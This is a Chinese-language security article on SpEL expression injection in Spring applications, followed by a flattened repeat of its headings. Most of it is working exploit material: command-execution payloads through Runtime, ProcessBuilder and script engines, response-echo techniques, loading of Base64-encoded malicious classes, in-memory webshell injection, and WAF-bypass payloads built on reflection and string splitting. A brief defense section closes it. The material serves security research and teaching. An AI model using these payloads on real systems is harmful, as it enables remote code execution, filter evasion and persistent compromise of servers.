JAVA安全之SpEL表达式执行
字数 865 2025-08-22 12:23:18

Spring Expression Language (SpEL) 表达式注入安全研究

一、SpEL 概述

Spring Expression Language (SpEL) 是 Spring 框架提供的一种强大的表达式语言,用于在运行时查询和操作对象图。主要特点包括:

  • 支持方法调用和基本字符串模板功能
  • 支持访问数组、集合和索引器
  • 支持逻辑和算术运算
  • 支持命名变量和从 Spring 容器中检索 bean

二、SpEL 基本用法

1. @Value 动态注入

@Component
public class ArithmeticService {
    @Value("#{10 + 20}") 
    private int sum;
    
    @Value("#{30 - 15}")
    private int difference;
    
    @Value("#{5 * 6}")
    private int product;
    
    @Value("#{40 / 8}")
    private int quotient;
    
    @Value("#{10 % 3}")
    private int remainder;
}

2. XML 配置中使用

<bean id="appConfig" class="java.util.Properties">
    <property name="someProperty" value="#{systemProperties['user.name']}"/>
</bean>

<bean id="greetingService" class="com.example.GreetingService">
    <property name="greetingMessage" value="#{'Hello, ' + appConfig.someProperty}"/>
</bean>

3. 代码中使用

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Al1ex').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

三、SpEL 注入漏洞原理

当用户可以控制输入的表达式且能绕过黑名单限制时,可能导致远程代码执行(RCE)。漏洞核心在于:

  1. SpEL 表达式会被解析为 AST 语法树并计算每个节点
  2. SpEL 可以操作类及其方法
  3. 使用 StandardEvaluationContext 允许执行任意代码

四、漏洞利用方式

1. 基本利用方式

通过 java.lang.Runtime

String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());

简化形式:

String spel = "T(Runtime).getRuntime().exec(\"calc\")";

通过 java.lang.ProcessBuilder

String spel = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()";

简化形式:

String spel = "new ProcessBuilder({'calc'}).start()";

通过 javax.script.ScriptEngineManager

String spel = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\")" +
              ".eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";

2. 回显技术

使用 RequestContextHolder

T(org.springframework.util.StreamUtils).copy(
    T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript")
        .eval(T(java.net.URLDecoder).decode("java.lang.Runtime.getRuntime().exec('cmd.exe /c ipconfig').getInputStream()")),
    T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()
        .getResponse().getOutputStream())

添加响应头回显

T(org.springframework.web.context.request.RequestContextHolder)
    .getRequestAttributes().getResponse().addHeader("Al1ex", "success")

命令执行结果回显

T(org.springframework.web.context.request.RequestContextHolder)
    .getRequestAttributes().getResponse().addHeader(
        new java.util.Scanner(
            new java.lang.ProcessBuilder("ipconfig").start().getInputStream(), 
            "GBK").useDelimiter("al1ex").next(), 
        "true")

3. 加载恶意类

  1. 编译恶意类:
public class al1ex {
    static {
        try {
            Runtime.getRuntime().exec("cmd.exe /c calc.exe");
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}
  1. Base64 编码 class 文件
  2. 通过 SpEL 加载:
T(org.springframework.cglib.core.ReflectUtils).defineClass(
    'al1ex', 
    T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADQ...'),
    T(org.springframework.util.ClassUtils).getDefaultClassLoader())

4. 内存马注入

使用 Evil 类注入内存马:

T(org.springframework.cglib.core.ReflectUtils).defineClass(
    'Evil', 
    T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBHQoATACSC...'),
    new javax.management.loading.MLet(new java.net.URL[0],
    T(java.lang.Thread).currentThread().getContextClassLoader()))

五、WAF 绕过技术

1. 常用载荷

#{12*12}
#{T(java.lang.Runtime).getRuntime().exec("calc")}
#{new java.lang.ProcessBuilder('cmd','/c','calc').start()}
#{T(Thread).sleep(10000)}

2. 反射调用绕过关键字过滤

T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
    .getMethod("ex"+"ec",T(String[]))
    .invoke(
        T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
            .getMethod("getRu"+"ntime").invoke(null),
        new String[]{"cmd","/C","calc"})

3. 引号过滤绕过

T(java.lang.Character).toString(97).concat(T(java.lang.Character).toString(98))

六、防御措施

  1. 使用 SimpleEvaluationContext 替代 StandardEvaluationContext
ExpressionParser parser = new SpelExpressionParser();
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
Expression expression = parser.parseExpression(spel);
Integer result = expression.getValue(context, Integer.class);
  1. 输入验证和过滤
  2. 限制表达式解析权限
  3. 使用沙箱环境执行表达式

七、参考链接

  1. Spring Framework Documentation - SpEL
  2. Spring EvaluationContext Javadoc
  3. SpEL表达式注入漏洞学习
Spring Expression Language (SpEL) 表达式注入安全研究 一、SpEL 概述 Spring Expression Language (SpEL) 是 Spring 框架提供的一种强大的表达式语言,用于在运行时查询和操作对象图。主要特点包括: 支持方法调用和基本字符串模板功能 支持访问数组、集合和索引器 支持逻辑和算术运算 支持命名变量和从 Spring 容器中检索 bean 二、SpEL 基本用法 1. @Value 动态注入 2. XML 配置中使用 3. 代码中使用 三、SpEL 注入漏洞原理 当用户可以控制输入的表达式且能绕过黑名单限制时,可能导致远程代码执行(RCE)。漏洞核心在于: SpEL 表达式会被解析为 AST 语法树并计算每个节点 SpEL 可以操作类及其方法 使用 StandardEvaluationContext 允许执行任意代码 四、漏洞利用方式 1. 基本利用方式 通过 java.lang.Runtime 简化形式: 通过 java.lang.ProcessBuilder 简化形式: 通过 javax.script.ScriptEngineManager 2. 回显技术 使用 RequestContextHolder 添加响应头回显 命令执行结果回显 3. 加载恶意类 编译恶意类: Base64 编码 class 文件 通过 SpEL 加载: 4. 内存马注入 使用 Evil 类注入内存马: 五、WAF 绕过技术 1. 常用载荷 2. 反射调用绕过关键字过滤 3. 引号过滤绕过 六、防御措施 使用 SimpleEvaluationContext 替代 StandardEvaluationContext 输入验证和过滤 限制表达式解析权限 使用沙箱环境执行表达式 七、参考链接 Spring Framework Documentation - SpEL Spring EvaluationContext Javadoc SpEL表达式注入漏洞学习